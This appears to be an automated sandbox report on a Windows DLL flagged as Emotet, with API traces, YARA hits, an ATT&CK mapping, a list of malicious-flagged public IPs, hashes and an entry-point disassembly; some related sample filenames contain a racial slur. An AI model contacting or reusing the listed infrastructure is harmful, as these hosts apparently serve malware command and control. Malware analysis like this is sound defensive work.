Source: rundll32.exe, 0000000E.00000002.829511737.00000000032E0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: rundll32.exe, 0000000E.00000002.829511737.00000000032E0000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: rundll32.exe, 0000000E.00000002.829511737.00000000032E0000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Code function: GetLocaleInfoW,	1_2_6E924EAC
Source: C:\Windows\System32\loaddll32.exe	Code function: GetLocaleInfoW,	1_2_6E91CE41
Source: C:\Windows\System32\loaddll32.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	1_2_6E924F7F
Source: C:\Windows\System32\loaddll32.exe	Code function: GetLocaleInfoW,	1_2_6E924C7C
Source: C:\Windows\System32\loaddll32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	1_2_6E924DA4
Source: C:\Windows\System32\loaddll32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	1_2_6E924A27
Source: C:\Windows\System32\loaddll32.exe	Code function: EnumSystemLocalesW,	1_2_6E9248B6
Source: C:\Windows\System32\loaddll32.exe	Code function: GetLocaleInfoW,	1_2_6E92480D
Source: C:\Windows\System32\loaddll32.exe	Code function: EnumSystemLocalesW,	1_2_6E92499C
Source: C:\Windows\System32\loaddll32.exe	Code function: EnumSystemLocalesW,	1_2_6E91C982
Source: C:\Windows\System32\loaddll32.exe	Code function: EnumSystemLocalesW,	1_2_6E924901
Source: C:\Windows\System32\loaddll32.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	1_2_6E924610
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,	4_2_6E924EAC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,	4_2_6E91CE41
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	4_2_6E924F7F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,	4_2_6E924C7C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	4_2_6E924DA4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	4_2_6E924A27
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	4_2_6E9248B6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,	4_2_6E92480D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	4_2_6E92499C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	4_2_6E91C982
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	4_2_6E924901
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	4_2_6E924610

Source: C:\Windows\System32\loaddll32.exe

Code function: 1_2_6E904C86 cpuid

1_2_6E904C86

Source: C:\Windows\System32\loaddll32.exe

Code function: 1_2_6E904FF7 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

1_2_6E904FF7

Stealing of Sensitive Information:

Yara detected Emotet

Show sources

Source: Yara match	File source: 1.2.loaddll32.exe.113eef0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.loaddll32.exe.113eef0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.d64248.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.6f4270.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.loaddll32.exe.d90000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.1130000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.b10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.dd4318.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.d64248.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.b10000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.loaddll32.exe.d90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.380000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.rundll32.exe.8e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.380000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.6f4270.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.a30000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.rundll32.exe.8e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.dd4318.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.1130000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.a30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.684418715.0000000000380000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.828298416.00000000008E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.694340801.0000000000A30000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.684454921.00000000006DA000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.683073019.0000000000DBA000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.694486235.0000000000AB6000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.696143071.0000000000B10000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.683120624.0000000001130000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.828605995.00000000009D5000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.697195816.000000000111B000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.696221862.0000000000D4A000.00000004.00000020.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Process Injection12	Masquerading2	OS Credential Dumping	System Time Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Virtualization/Sandbox Evasion121	LSASS Memory	Security Software Discovery241	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Application Layer Protocol1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Process Injection12	Security Account Manager	Virtualization/Sandbox Evasion121	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Deobfuscate/Decode Files or Information1	NTDS	Process Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Hidden Files and Directories1	LSA Secrets	Remote System Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Obfuscated Files or Information2	Cached Domain Credentials	File and Directory Discovery2	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Rundll321	DCSync	System Information Discovery143	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	File Deletion1	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
UioA2E9DBG.dll	23%	Virustotal		Browse

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
5.2.rundll32.exe.1130000.1.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
1.2.loaddll32.exe.d90000.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
7.2.rundll32.exe.b10000.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
6.2.rundll32.exe.380000.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
14.2.rundll32.exe.8e0000.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
4.2.rundll32.exe.a30000.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://crl.ver)	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.ver)	svchost.exe, 0000000A.00000002.829416267.000001EA7E219000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
195.154.133.20	unknown	France	12876	OnlineSASFR	true
212.237.17.99	unknown	Italy	31034	ARUBA-ASNIT	true
110.232.117.186	unknown	Australia	56038	RACKCORP-APRackCorpAU	true
104.245.52.73	unknown	United States	63251	METRO-WIRELESSUS	true
138.185.72.26	unknown	Brazil	264343	EmpasoftLtdaMeBR	true
81.0.236.90	unknown	Czech Republic	15685	CASABLANCA-ASInternetCollocationProviderCZ	true
45.118.115.99	unknown	Indonesia	131717	IDNIC-CIFO-AS-IDPTCitraJelajahInformatikaID	true
103.75.201.2	unknown	Thailand	133496	CDNPLUSCOLTD-AS-APCDNPLUSCOLTDTH	true
216.158.226.206	unknown	United States	19318	IS-AS-1US	true
107.182.225.142	unknown	United States	32780	HOSTINGSERVICES-INCUS	true
45.118.135.203	unknown	Japan	63949	LINODE-APLinodeLLCUS	true
50.116.54.215	unknown	United States	63949	LINODE-APLinodeLLCUS	true
51.68.175.8	unknown	France	16276	OVHFR	true
103.8.26.102	unknown	Malaysia	132241	SKSATECH1-MYSKSATECHNOLOGYSDNBHDMY	true
46.55.222.11	unknown	Bulgaria	34841	BALCHIKNETBG	true
41.76.108.46	unknown	South Africa	327979	DIAMATRIXZA	true
103.8.26.103	unknown	Malaysia	132241	SKSATECH1-MYSKSATECHNOLOGYSDNBHDMY	true
178.79.147.66	unknown	United Kingdom	63949	LINODE-APLinodeLLCUS	true
212.237.5.209	unknown	Italy	31034	ARUBA-ASNIT	true
176.104.106.96	unknown	Serbia	198371	NINETRS	true
207.38.84.195	unknown	United States	30083	AS-30083-GO-DADDY-COM-LLCUS	true
212.237.56.116	unknown	Italy	31034	ARUBA-ASNIT	true
45.142.114.231	unknown	Germany	44066	DE-FIRSTCOLOwwwfirst-colonetDE	true
203.114.109.124	unknown	Thailand	131293	TOT-LLI-AS-APTOTPublicCompanyLimitedTH	true
210.57.217.132	unknown	Indonesia	38142	UNAIR-AS-IDUniversitasAirlanggaID	true
58.227.42.236	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	true
185.184.25.237	unknown	Turkey	209711	MUVHOSTTR	true
158.69.222.101	unknown	Canada	16276	OVHFR	true
104.251.214.46	unknown	United States	54540	INCERO-HVVCUS	true

Private

IP
127.0.0.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	532429
Start date:	02.12.2021
Start time:	09:19:08
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 11m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	UioA2E9DBG (renamed file extension from none to dll)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal80.troj.evad.winDLL@22/4@0/30
EGA Information:	Failed
HDC Information:	Successful, ratio: 4.8% (good quality ratio 4.6%) Quality average: 73.1% Quality standard deviation: 25%
HCA Information:	Successful, ratio: 70% Number of executed functions: 39 Number of non-executed functions: 275
Cookbook Comments:	Adjust boot time Enable AMSI Override analysis time to 240s for rundll32
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe Excluded IPs from analysis (whitelisted): 23.35.236.56, 80.67.82.211, 80.67.82.235 Excluded domains from analysis (whitelisted): fs.microsoft.com, tile-service.weather.microsoft.com, ctldl.windowsupdate.com, e1723.g.akamaiedge.net, img-prod-cms-rt-microsoft-com.akamaized.net, cdn.onenote.net, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com Not all processes where analyzed, report is missing behavior information Report size exceeded maximum capacity and may have missing behavior information. Report size exceeded maximum capacity and may have missing disassembly code. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:21:52	API Interceptor	2x Sleep call for process: svchost.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
195.154.133.20	916Q89rlYD.dll	Get hash	malicious	Browse
	9izNuvE61W.dll	Get hash	malicious	Browse
	P5LROPCURK.dll	Get hash	malicious	Browse
	TYLNb8VvnmYA.dll	Get hash	malicious	Browse
	TYLNb8VvnmYA.dll	Get hash	malicious	Browse
	snBYiBAMB2.dll	Get hash	malicious	Browse
	6zAcNlJXo7.dll	Get hash	malicious	Browse
	6zAcNlJXo7.dll	Get hash	malicious	Browse
	mal.dll	Get hash	malicious	Browse
	mal2.dll	Get hash	malicious	Browse
	mal.dll	Get hash	malicious	Browse
	mal2.dll	Get hash	malicious	Browse
	2gyA5uNl6VPQUA.dll	Get hash	malicious	Browse
	2gyA5uNl6VPQUA.dll	Get hash	malicious	Browse
	9sQccNfqAR.dll	Get hash	malicious	Browse
	FILE_464863409880121918.xlsm	Get hash	malicious	Browse
	9sQccNfqAR.dll	Get hash	malicious	Browse
	t3XtgyQEoe.dll	Get hash	malicious	Browse
	t3XtgyQEoe.dll	Get hash	malicious	Browse
	SCAN_35292280954166786.xlsm	Get hash	malicious	Browse
212.237.17.99	916Q89rlYD.dll	Get hash	malicious	Browse
	9izNuvE61W.dll	Get hash	malicious	Browse
	P5LROPCURK.dll	Get hash	malicious	Browse
	TYLNb8VvnmYA.dll	Get hash	malicious	Browse
	TYLNb8VvnmYA.dll	Get hash	malicious	Browse
	snBYiBAMB2.dll	Get hash	malicious	Browse
	6zAcNlJXo7.dll	Get hash	malicious	Browse
	6zAcNlJXo7.dll	Get hash	malicious	Browse
	mal.dll	Get hash	malicious	Browse
	mal2.dll	Get hash	malicious	Browse
	mal.dll	Get hash	malicious	Browse
	mal2.dll	Get hash	malicious	Browse
	2gyA5uNl6VPQUA.dll	Get hash	malicious	Browse
	2gyA5uNl6VPQUA.dll	Get hash	malicious	Browse
	9sQccNfqAR.dll	Get hash	malicious	Browse
	FILE_464863409880121918.xlsm	Get hash	malicious	Browse
	9sQccNfqAR.dll	Get hash	malicious	Browse
	t3XtgyQEoe.dll	Get hash	malicious	Browse
	t3XtgyQEoe.dll	Get hash	malicious	Browse
	SCAN_35292280954166786.xlsm	Get hash	malicious	Browse

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ARUBA-ASNIT	916Q89rlYD.dll	Get hash	malicious	Browse	212.237.56.116
	9izNuvE61W.dll	Get hash	malicious	Browse	212.237.56.116
	P5LROPCURK.dll	Get hash	malicious	Browse	212.237.56.116
	zTGtLv4pTO.dll	Get hash	malicious	Browse	94.177.217.88
	zTGtLv4pTO.dll	Get hash	malicious	Browse	94.177.217.88
	TYLNb8VvnmYA.dll	Get hash	malicious	Browse	212.237.56.116
	TYLNb8VvnmYA.dll	Get hash	malicious	Browse	212.237.56.116
	snBYiBAMB2.dll	Get hash	malicious	Browse	212.237.56.116
	6zAcNlJXo7.dll	Get hash	malicious	Browse	212.237.56.116
	6zAcNlJXo7.dll	Get hash	malicious	Browse	212.237.56.116
	DHL DOCUMENT FOR #504.exe	Get hash	malicious	Browse	62.149.128.40
	RqgAGRvHNwhoreniggagay.dll	Get hash	malicious	Browse	94.177.217.88
	RqgAGRvHNwhoreniggagay.dll	Get hash	malicious	Browse	94.177.217.88
	dFUOuTxFQrXAwhoreniggagay.dll	Get hash	malicious	Browse	94.177.217.88
	RbrKCqqjDPUwhoreniggagay.dll	Get hash	malicious	Browse	94.177.217.88
	dFUOuTxFQrXAwhoreniggagay.dll	Get hash	malicious	Browse	94.177.217.88
	RbrKCqqjDPUwhoreniggagay.dll	Get hash	malicious	Browse	94.177.217.88
	mal.dll	Get hash	malicious	Browse	212.237.56.116
	mal2.dll	Get hash	malicious	Browse	212.237.56.116
	mal.dll	Get hash	malicious	Browse	212.237.56.116
OnlineSASFR	916Q89rlYD.dll	Get hash	malicious	Browse	195.154.133.20
	9izNuvE61W.dll	Get hash	malicious	Browse	195.154.133.20
	P5LROPCURK.dll	Get hash	malicious	Browse	195.154.133.20
	GlobalfoundriesINV33-45776648.htm	Get hash	malicious	Browse	51.15.17.195
	TYLNb8VvnmYA.dll	Get hash	malicious	Browse	195.154.133.20
	TYLNb8VvnmYA.dll	Get hash	malicious	Browse	195.154.133.20
	snBYiBAMB2.dll	Get hash	malicious	Browse	195.154.133.20
	6zAcNlJXo7.dll	Get hash	malicious	Browse	195.154.133.20
	6zAcNlJXo7.dll	Get hash	malicious	Browse	195.154.133.20
	mal.dll	Get hash	malicious	Browse	195.154.133.20
	mal2.dll	Get hash	malicious	Browse	195.154.133.20
	mal.dll	Get hash	malicious	Browse	195.154.133.20
	mal2.dll	Get hash	malicious	Browse	195.154.133.20
	2gyA5uNl6VPQUA.dll	Get hash	malicious	Browse	195.154.133.20
	2gyA5uNl6VPQUA.dll	Get hash	malicious	Browse	195.154.133.20
	spZRMihlrkFGqYq1f.dll	Get hash	malicious	Browse	195.154.146.35
	spZRMihlrkFGqYq1f.dll	Get hash	malicious	Browse	195.154.146.35
	AtlanticareINV25-67431254.htm	Get hash	malicious	Browse	51.15.17.195
	9sQccNfqAR.dll	Get hash	malicious	Browse	195.154.133.20
	FILE_464863409880121918.xlsm	Get hash	malicious	Browse	195.154.133.20

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	MPEG-4 LOAS
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.24858787689396322
Encrypted:	false
SSDEEP:	1536:BJiRdfVzkZm3lyf49uyc0ga04PdHS9LrM/oVMUdSRU4X:BJiRdwfu2SRU4X
MD5:	E68626B82BA10B2BF7CE82EFE32E165D
SHA1:	E9427E7262FCDBB2915462BD8D0D0AAC1DCDFC09
SHA-256:	D533100EB675B3D0FA2989D23884436A6AC0DB6670486CA666885181E4F86BCC
SHA-512:	87633999CAC16D4EBC5614172E0061FB5135316C2BB69B61C61577120C4086F32E888BC06CA87E71AE1A950F16F57D5C492F50E1B30D415720BE00DD6A369512
Malicious:	false
Preview:	V.d.........@..@.3...w...........................3...w..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.........................................d#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x52f1f60b, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	786432
Entropy (8bit):	0.25072727150045127
Encrypted:	false
SSDEEP:	384:8+W0StseCJ48EApW0StseCJ48E2rTSjlK/ebmLerYSRSY1J2:jSB2nSB2RSjlK/+mLesOj1J2
MD5:	B7E37638BA471F8F6F75CFF2137C3B64
SHA1:	A940F1AF6850A1323B637D09DF7EEA0A73770CD2
SHA-256:	A29BD18D97BAF7D7672C344F780536C9A06039312A7C5E81A7C74822BCB2BE42
SHA-512:	63C7B8B1A69088C5FE4EA0419C5ED23F8A231EE6E162362680F1D260D0E0C47759691334BA57B104EF4B180E4C8912559CC135455DDA43A07BC686E3BC004444
Malicious:	false
Preview:	R...... ................e.f.3...w........................&..........w..5....y..h.(..............................3...w...........................................................................................................B...........@...................................................................................................... ........3...w.........................................................................................................................................................................................................................................N5....y.u....................5....y..........................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07727570710710759
Encrypted:	false
SSDEEP:	3:3/t7EvQBnB+hl/bJdAtiDCQTltlall3Vkttlmlnl:PtiQBnit4kC+tA3
MD5:	0ABC927E030E5B12F91111B4688C9DB8
SHA1:	0F565D9C62B05FB127DC5768E670047D26D6A2AC
SHA-256:	8B2DF592248D557DE249459C3FEDD134CB5B67D821DD163E3A05D2D7F030924E
SHA-512:	9B9D1B69420D67066D1C70674F22D06FF60DAE83A985BD44042DBC6F5533568219E327981E558AC7BCF3856298066F483B43EB6240F65DEFE9C3A459DBEB7057
Malicious:	false
Preview:	.T.7.....................................3...w..5....y.......w...............w.......w....:O.....w......................5....y..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General
File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.196240298834973
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	UioA2E9DBG.dll
File size:	473600
MD5:	6988533cf7cbdccd0ea429571e0441a9
SHA1:	27836d3e04a31548fa09ec8537ba50777a73a42a
SHA256:	8d6912a12fdccb3d6d55980c3b1fd20cc97a2736d3381e315657a3d6f2f8d1b3
SHA512:	2d48c1b8ef38ad9d0a68650896b5ee69bdcea2caeddfe55e8cadd7b5f411311a8a43a09ce33ca5d6b5e341f38f30fbe41a0aa91048a8b2c5a2a663013f8b1e40
SSDEEP:	12288:mFyGBDytNZAR5Myju+qQuj/J+7C6Dg8stHb1h:mF92e/jEk7zDg8stJh
File Content Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........A~.. ... ... ...F... ...F..D ...U... ...U... ...U... ...F... ...F... ...F... ... ..< ..TU... ..TU... ..TU... ... ... ..TU... .

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General
Entrypoint:	0x10014c2e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x61A7B2E7 [Wed Dec 1 17:37:43 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	057d91f9747659ff50a0558e0aed5a44

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
cmp dword ptr [ebp+0Ch], 01h
jne 00007FEE48DD6D57h
call 00007FEE48DD715Dh
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+08h]
call 00007FEE48DD6C03h
add esp, 0Ch
pop ebp
retn 000Ch
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 1003A410h
mov dword ptr [ecx], 1003A408h
ret
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007FEE48DD6D2Fh
push 10049FDCh
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007FEE48DDA45Eh
int3
push ebp
mov ebp, esp
and dword ptr [1004E888h], 00000000h
sub esp, 24h
or dword ptr [1004D00Ch], 01h
push 0000000Ah
call dword ptr [1003A0E8h]
test eax, eax
je 00007FEE48DD6EFFh
and dword ptr [ebp-10h], 00000000h
xor eax, eax
push ebx
push esi
push edi
xor ecx, ecx
lea edi, dword ptr [ebp-24h]
push ebx
cpuid
mov esi, ebx
pop ebx
mov dword ptr [edi], eax
mov dword ptr [edi+04h], esi
mov dword ptr [edi+08h], ecx
xor ecx, ecx
mov dword ptr [edi+0Ch], edx
mov eax, dword ptr [ebp-24h]
mov edi, dword ptr [ebp-1Ch]
mov dword ptr [ebp-0Ch], eax
xor edi, 6C65746Eh
mov eax, dword ptr [ebp-18h]
xor eax, 49656E69h
mov dword ptr [ebp-08h], eax
mov eax, dword ptr [ebp-20h]
xor eax, 756E6547h
mov dword ptr [ebp-04h], eax
